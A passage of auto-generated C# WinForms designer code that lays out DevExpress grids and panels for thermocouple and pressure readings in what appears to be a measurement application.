this.thermo3NoColumn.OptionsColumn.AllowFocus = false;
this.thermo3NoColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.thermo3NoColumn.OptionsColumn.AllowIncrementalSearch = false;
this.thermo3NoColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.thermo3NoColumn.OptionsColumn.AllowMove = false;
this.thermo3NoColumn.OptionsColumn.AllowShowHide = false;
this.thermo3NoColumn.OptionsColumn.AllowSize = false;
this.thermo3NoColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.thermo3NoColumn.OptionsColumn.FixedWidth = true;
this.thermo3NoColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.thermo3NoColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.thermo3NoColumn.OptionsColumn.ReadOnly = true;
this.thermo3NoColumn.OptionsFilter.AllowAutoFilter = false;
this.thermo3NoColumn.OptionsFilter.AllowFilter = false;
this.thermo3NoColumn.Visible = true;
this.thermo3NoColumn.VisibleIndex = 0;
this.thermo3NoColumn.Width = 32;
//
// thermo3NameColumn
//
this.thermo3NameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermo3NameColumn.AppearanceCell.Options.UseFont = true;
this.thermo3NameColumn.AppearanceCell.Options.UseTextOptions = true;
this.thermo3NameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.thermo3NameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermo3NameColumn.AppearanceHeader.Options.UseFont = true;
this.thermo3NameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.thermo3NameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.thermo3NameColumn.Caption = "Outdoor";
this.thermo3NameColumn.FieldName = "Value";
this.thermo3NameColumn.Name = "thermo3NameColumn";
this.thermo3NameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.thermo3NameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.thermo3NameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.thermo3NameColumn.OptionsColumn.AllowMove = false;
this.thermo3NameColumn.OptionsColumn.AllowShowHide = false;
this.thermo3NameColumn.OptionsColumn.AllowSize = false;
this.thermo3NameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.thermo3NameColumn.OptionsColumn.FixedWidth = true;
this.thermo3NameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.thermo3NameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.thermo3NameColumn.OptionsColumn.TabStop = false;
this.thermo3NameColumn.OptionsFilter.AllowAutoFilter = false;
this.thermo3NameColumn.OptionsFilter.AllowFilter = false;
this.thermo3NameColumn.Visible = true;
this.thermo3NameColumn.VisibleIndex = 1;
this.thermo3NameColumn.Width = 162;
//
// thermo2Grid
//
this.thermo2Grid.Location = new System.Drawing.Point(224, 40);
this.thermo2Grid.MainView = this.thermo2GridView;
this.thermo2Grid.Name = "thermo2Grid";
this.thermo2Grid.Size = new System.Drawing.Size(214, 869);
this.thermo2Grid.TabIndex = 1;
this.thermo2Grid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.thermo2GridView});
//
// thermo2GridView
//
this.thermo2GridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.thermo2GridView.Appearance.FixedLine.Options.UseFont = true;
this.thermo2GridView.Appearance.FocusedCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermo2GridView.Appearance.FocusedCell.Options.UseFont = true;
this.thermo2GridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.thermo2GridView.Appearance.FocusedRow.Options.UseFont = true;
this.thermo2GridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.thermo2GridView.Appearance.HeaderPanel.Options.UseFont = true;
this.thermo2GridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.thermo2GridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.thermo2GridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.thermo2GridView.Appearance.OddRow.Options.UseFont = true;
this.thermo2GridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.thermo2GridView.Appearance.Preview.Options.UseFont = true;
this.thermo2GridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.thermo2GridView.Appearance.Row.Options.UseFont = true;
this.thermo2GridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.thermo2GridView.Appearance.SelectedRow.Options.UseFont = true;
this.thermo2GridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.thermo2GridView.Appearance.ViewCaption.Options.UseFont = true;
this.gridBehavior.SetBehaviors(this.thermo2GridView, new DevExpress.Utils.Behaviors.Behavior[] {
((DevExpress.Utils.Behaviors.Behavior)(DevExpress.Utils.DragDrop.DragDropBehavior.Create(typeof(DevExpress.XtraGrid.Extensions.ColumnViewDragDropSource), false, false, true, this.thermo2GridDragDropEvents)))});
this.thermo2GridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.thermo2NoColumn,
this.thermo2NameColumn});
this.thermo2GridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.thermo2GridView.GridControl = this.thermo2Grid;
this.thermo2GridView.HorzScrollVisibility = DevExpress.XtraGrid.Views.Base.ScrollVisibility.Never;
this.thermo2GridView.Name = "thermo2GridView";
this.thermo2GridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.thermo2GridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.thermo2GridView.OptionsClipboard.CopyColumnHeaders = DevExpress.Utils.DefaultBoolean.False;
this.thermo2GridView.OptionsNavigation.EnterMoveNextColumn = true;
this.thermo2GridView.OptionsSelection.MultiSelect = true;
this.thermo2GridView.OptionsView.ColumnAutoWidth = false;
this.thermo2GridView.OptionsView.ShowGroupPanel = false;
this.thermo2GridView.OptionsView.ShowIndicator = false;
this.thermo2GridView.Tag = 1;
//
// thermo2NoColumn
//
this.thermo2NoColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermo2NoColumn.AppearanceCell.Options.UseFont = true;
this.thermo2NoColumn.AppearanceCell.Options.UseTextOptions = true;
this.thermo2NoColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.thermo2NoColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermo2NoColumn.AppearanceHeader.Options.UseFont = true;
this.thermo2NoColumn.AppearanceHeader.Options.UseTextOptions = true;
this.thermo2NoColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.thermo2NoColumn.Caption = "No";
this.thermo2NoColumn.DisplayFormat.FormatString = "{0:d2}";
this.thermo2NoColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.thermo2NoColumn.FieldName = "No";
this.thermo2NoColumn.Name = "thermo2NoColumn";
this.thermo2NoColumn.OptionsColumn.AllowEdit = false;
this.thermo2NoColumn.OptionsColumn.AllowFocus = false;
this.thermo2NoColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.thermo2NoColumn.OptionsColumn.AllowIncrementalSearch = false;
this.thermo2NoColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.thermo2NoColumn.OptionsColumn.AllowMove = false;
this.thermo2NoColumn.OptionsColumn.AllowShowHide = false;
this.thermo2NoColumn.OptionsColumn.AllowSize = false;
this.thermo2NoColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.thermo2NoColumn.OptionsColumn.FixedWidth = true;
this.thermo2NoColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.thermo2NoColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.thermo2NoColumn.OptionsColumn.ReadOnly = true;
this.thermo2NoColumn.OptionsFilter.AllowAutoFilter = false;
this.thermo2NoColumn.OptionsFilter.AllowFilter = false;
this.thermo2NoColumn.Visible = true;
this.thermo2NoColumn.VisibleIndex = 0;
this.thermo2NoColumn.Width = 32;
//
// thermo2NameColumn
//
this.thermo2NameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermo2NameColumn.AppearanceCell.Options.UseFont = true;
this.thermo2NameColumn.AppearanceCell.Options.UseTextOptions = true;
this.thermo2NameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.thermo2NameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermo2NameColumn.AppearanceHeader.Options.UseFont = true;
this.thermo2NameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.thermo2NameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.thermo2NameColumn.Caption = "Indoor No.2";
this.thermo2NameColumn.FieldName = "Value";
this.thermo2NameColumn.Name = "thermo2NameColumn";
this.thermo2NameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.thermo2NameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.thermo2NameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.thermo2NameColumn.OptionsColumn.AllowMove = false;
this.thermo2NameColumn.OptionsColumn.AllowShowHide = false;
this.thermo2NameColumn.OptionsColumn.AllowSize = false;
this.thermo2NameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.thermo2NameColumn.OptionsColumn.FixedWidth = true;
this.thermo2NameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.thermo2NameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.thermo2NameColumn.OptionsColumn.TabStop = false;
this.thermo2NameColumn.OptionsFilter.AllowAutoFilter = false;
this.thermo2NameColumn.OptionsFilter.AllowFilter = false;
this.thermo2NameColumn.Visible = true;
this.thermo2NameColumn.VisibleIndex = 1;
this.thermo2NameColumn.Width = 162;
//
// thermo1Grid
//
this.thermo1Grid.Location = new System.Drawing.Point(6, 40);
this.thermo1Grid.MainView = this.thermo1GridView;
this.thermo1Grid.Name = "thermo1Grid";
this.thermo1Grid.Size = new System.Drawing.Size(214, 869);
this.thermo1Grid.TabIndex = 0;
this.thermo1Grid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.thermo1GridView});
//
// thermo1GridView
//
this.thermo1GridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.thermo1GridView.Appearance.FixedLine.Options.UseFont = true;
this.thermo1GridView.Appearance.FocusedCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermo1GridView.Appearance.FocusedCell.Options.UseFont = true;
this.thermo1GridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.thermo1GridView.Appearance.FocusedRow.Options.UseFont = true;
this.thermo1GridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.thermo1GridView.Appearance.HeaderPanel.Options.UseFont = true;
this.thermo1GridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.thermo1GridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.thermo1GridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.thermo1GridView.Appearance.OddRow.Options.UseFont = true;
this.thermo1GridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.thermo1GridView.Appearance.Preview.Options.UseFont = true;
this.thermo1GridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.thermo1GridView.Appearance.Row.Options.UseFont = true;
this.thermo1GridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.thermo1GridView.Appearance.SelectedRow.Options.UseFont = true;
this.thermo1GridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.thermo1GridView.Appearance.ViewCaption.Options.UseFont = true;
this.gridBehavior.SetBehaviors(this.thermo1GridView, new DevExpress.Utils.Behaviors.Behavior[] {
((DevExpress.Utils.Behaviors.Behavior)(DevExpress.Utils.DragDrop.DragDropBehavior.Create(typeof(DevExpress.XtraGrid.Extensions.ColumnViewDragDropSource), false, false, true, this.thermo1GriddragDropEvents)))});
this.thermo1GridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.thermo1NoColumn,
this.thermo1NameColumn});
this.thermo1GridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.thermo1GridView.GridControl = this.thermo1Grid;
this.thermo1GridView.HorzScrollVisibility = DevExpress.XtraGrid.Views.Base.ScrollVisibility.Never;
this.thermo1GridView.Name = "thermo1GridView";
this.thermo1GridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.thermo1GridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.thermo1GridView.OptionsClipboard.CopyColumnHeaders = DevExpress.Utils.DefaultBoolean.False;
this.thermo1GridView.OptionsNavigation.EnterMoveNextColumn = true;
this.thermo1GridView.OptionsSelection.MultiSelect = true;
this.thermo1GridView.OptionsView.ColumnAutoWidth = false;
this.thermo1GridView.OptionsView.ShowGroupPanel = false;
this.thermo1GridView.OptionsView.ShowIndicator = false;
this.thermo1GridView.Tag = 1;
//
// thermo1NoColumn
//
this.thermo1NoColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermo1NoColumn.AppearanceCell.Options.UseFont = true;
this.thermo1NoColumn.AppearanceCell.Options.UseTextOptions = true;
this.thermo1NoColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.thermo1NoColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermo1NoColumn.AppearanceHeader.Options.UseFont = true;
this.thermo1NoColumn.AppearanceHeader.Options.UseTextOptions = true;
this.thermo1NoColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.thermo1NoColumn.Caption = "No";
this.thermo1NoColumn.DisplayFormat.FormatString = "{0:d2}";
this.thermo1NoColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.thermo1NoColumn.FieldName = "No";
this.thermo1NoColumn.Name = "thermo1NoColumn";
this.thermo1NoColumn.OptionsColumn.AllowEdit = false;
this.thermo1NoColumn.OptionsColumn.AllowFocus = false;
this.thermo1NoColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.thermo1NoColumn.OptionsColumn.AllowIncrementalSearch = false;
this.thermo1NoColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.thermo1NoColumn.OptionsColumn.AllowMove = false;
this.thermo1NoColumn.OptionsColumn.AllowShowHide = false;
this.thermo1NoColumn.OptionsColumn.AllowSize = false;
this.thermo1NoColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.thermo1NoColumn.OptionsColumn.FixedWidth = true;
this.thermo1NoColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.thermo1NoColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.thermo1NoColumn.OptionsColumn.ReadOnly = true;
this.thermo1NoColumn.OptionsFilter.AllowAutoFilter = false;
this.thermo1NoColumn.OptionsFilter.AllowFilter = false;
this.thermo1NoColumn.Visible = true;
this.thermo1NoColumn.VisibleIndex = 0;
this.thermo1NoColumn.Width = 32;
//
// thermo1NameColumn
//
this.thermo1NameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermo1NameColumn.AppearanceCell.Options.UseFont = true;
this.thermo1NameColumn.AppearanceCell.Options.UseTextOptions = true;
this.thermo1NameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.thermo1NameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermo1NameColumn.AppearanceHeader.Options.UseFont = true;
this.thermo1NameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.thermo1NameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.thermo1NameColumn.Caption = "Indoor No.1";
this.thermo1NameColumn.FieldName = "Value";
this.thermo1NameColumn.Name = "thermo1NameColumn";
this.thermo1NameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.thermo1NameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.thermo1NameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.thermo1NameColumn.OptionsColumn.AllowMove = false;
this.thermo1NameColumn.OptionsColumn.AllowShowHide = false;
this.thermo1NameColumn.OptionsColumn.AllowSize = false;
this.thermo1NameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.thermo1NameColumn.OptionsColumn.FixedWidth = true;
this.thermo1NameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.thermo1NameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.thermo1NameColumn.OptionsColumn.TabStop = false;
this.thermo1NameColumn.OptionsFilter.AllowAutoFilter = false;
this.thermo1NameColumn.OptionsFilter.AllowFilter = false;
this.thermo1NameColumn.Visible = true;
this.thermo1NameColumn.VisibleIndex = 1;
this.thermo1NameColumn.Width = 162;
//
// thermoTitlePanel
//
this.thermoTitlePanel.BackColor = System.Drawing.Color.Gray;
this.thermoTitlePanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.thermoTitlePanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.thermoTitlePanel.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermoTitlePanel.ForeColor = System.Drawing.Color.White;
this.thermoTitlePanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.thermoTitlePanel.InnerColor2 = System.Drawing.Color.White;
this.thermoTitlePanel.Location = new System.Drawing.Point(6, 6);
this.thermoTitlePanel.Name = "thermoTitlePanel";
this.thermoTitlePanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.thermoTitlePanel.OuterColor2 = System.Drawing.Color.White;
this.thermoTitlePanel.Size = new System.Drawing.Size(838, 28);
this.thermoTitlePanel.Spacing = 0;
this.thermoTitlePanel.TabIndex = 5;
this.thermoTitlePanel.Text = "THERMOCOUPLE";
this.thermoTitlePanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.thermoTitlePanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// pressurePanel
//
this.pressurePanel.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.pressurePanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.pressurePanel.Controls.Add(this.pressureGrid);
this.pressurePanel.Controls.Add(this.pressureTagGrid);
this.pressurePanel.Controls.Add(this.pressureTitlePanel);
this.pressurePanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.pressurePanel.InnerColor2 = System.Drawing.Color.White;
this.pressurePanel.Location = new System.Drawing.Point(1502, 0);
this.pressurePanel.Name = "pressurePanel";
this.pressurePanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.pressurePanel.OuterColor2 = System.Drawing.Color.White;
this.pressurePanel.Size = new System.Drawing.Size(226, 915);
this.pressurePanel.Spacing = 0;
this.pressurePanel.TabIndex = 12;
this.pressurePanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.pressurePanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// pressureGrid
//
this.pressureGrid.Location = new System.Drawing.Point(6, 40);
this.pressureGrid.MainView = this.pressureGridView;
this.pressureGrid.Name = "pressureGrid";
this.pressureGrid.Size = new System.Drawing.Size(214, 432);
this.pressureGrid.TabIndex = 0;
this.pressureGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.pressureGridView});
//
// pressureGridView
//
this.pressureGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.FixedLine.Options.UseFont = true;
this.pressureGridView.Appearance.FocusedCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pressureGridView.Appearance.FocusedCell.Options.UseFont = true;
this.pressureGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.FocusedRow.Options.UseFont = true;
this.pressureGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.pressureGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.pressureGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.OddRow.Options.UseFont = true;
this.pressureGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.Preview.Options.UseFont = true;
this.pressureGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.Row.Options.UseFont = true;
this.pressureGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.SelectedRow.Options.UseFont = true;
this.pressureGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.pressureGridView.Appearance.ViewCaption.Options.UseFont = true;
this.gridBehavior.SetBehaviors(this.pressureGridView, new DevExpress.Utils.Behaviors.Behavior[] {
((DevExpress.Utils.Behaviors.Behavior)(DevExpress.Utils.DragDrop.DragDropBehavior.Create(typeof(DevExpress.XtraGrid.Extensions.ColumnViewDragDropSource), false, false, true, this.pressureGridDragDropEvents)))});
this.pressureGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.pressureNoColumn,
this.pressureNameColumn});
this.pressureGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.pressureGridView.GridControl = this.pressureGrid;
this.pressureGridView.HorzScrollVisibility = DevExpress.XtraGrid.Views.Base.ScrollVisibility.Never;
this.pressureGridView.Name = "pressureGridView";
this.pressureGridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.pressureGridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.pressureGridView.OptionsClipboard.CopyColumnHeaders = DevExpress.Utils.DefaultBoolean.False;
this.pressureGridView.OptionsNavigation.EnterMoveNextColumn = true;
this.pressureGridView.OptionsSelection.MultiSelect = true;
this.pressureGridView.OptionsView.ColumnAutoWidth = false;
this.pressureGridView.OptionsView.ShowGroupPanel = false;
this.pressureGridView.OptionsView.ShowIndicator = false;
this.pressureGridView.Tag = 1;
//
// pressureNoColumn
//
this.pressureNoColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pressureNoColumn.AppearanceCell.Options.UseFont = true;
this.pressureNoColumn.AppearanceCell.Options.UseTextOptions = true;
this.pressureNoColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.pressureNoColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pressureNoColumn.AppearanceHeader.Options.UseFont = true;
this.pressureNoColumn.AppearanceHeader.Options.UseTextOptions = true;
this.pressureNoColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.pressureNoColumn.Caption = "No";
this.pressureNoColumn.DisplayFormat.FormatString = "{0:d2}";
this.pressureNoColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.pressureNoColumn.FieldName = "No";
this.pressureNoColumn.Name = "pressureNoColumn";
this.pressureNoColumn.OptionsColumn.AllowEdit = false;
this.pressureNoColumn.OptionsColumn.AllowFocus = false;
this.pressureNoColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.pressureNoColumn.OptionsColumn.AllowIncrementalSearch = false;
this.pressureNoColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.pressureNoColumn.OptionsColumn.AllowMove = false;
this.pressureNoColumn.OptionsColumn.AllowShowHide = false;
this.pressureNoColumn.OptionsColumn.AllowSize = false;
this.pressureNoColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.pressureNoColumn.OptionsColumn.FixedWidth = true;
this.pressureNoColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.pressureNoColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.pressureNoColumn.OptionsColumn.ReadOnly = true;
this.pressureNoColumn.OptionsFilter.AllowAutoFilter = false;
this.pressureNoColumn.OptionsFilter.AllowFilter = false;
this.pressureNoColumn.Visible = true;
this.pressureNoColumn.VisibleIndex = 0;
this.pressureNoColumn.Width = 32;
//
// pressureNameColumn
//
this.pressureNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pressureNameColumn.AppearanceCell.Options.UseFont = true;
this.pressureNameColumn.AppearanceCell.Options.UseTextOptions = true;
this.pressureNameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.pressureNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pressureNameColumn.AppearanceHeader.Options.UseFont = true;
this.pressureNameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.pressureNameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.pressureNameColumn.Caption = "Pressure";
this.pressureNameColumn.FieldName = "Value";
this.pressureNameColumn.Name = "pressureNameColumn";
this.pressureNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.pressureNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.pressureNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.pressureNameColumn.OptionsColumn.AllowMove = false;
this.pressureNameColumn.OptionsColumn.AllowShowHide = false;
this.pressureNameColumn.OptionsColumn.AllowSize = false;
this.pressureNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.pressureNameColumn.OptionsColumn.FixedWidth = true;
this.pressureNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.pressureNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.pressureNameColumn.OptionsColumn.TabStop = false;
this.pressureNameColumn.OptionsFilter.AllowAutoFilter = false;
this.pressureNameColumn.OptionsFilter.AllowFilter = false;
this.pressureNameColumn.Visible = true;
this.pressureNameColumn.VisibleIndex = 1;
this.pressureNameColumn.Width = 162;
//
// pressureTagGrid
//
this.pressureTagGrid.Location = new System.Drawing.Point(6, 478);
this.pressureTagGrid.MainView = this.pressureTagGridView;
this.pressureTagGrid.Name = "pressureTagGrid";
this.pressureTagGrid.Size = new System.Drawing.Size(214, 431);
this.pressureTagGrid.TabIndex = 1;
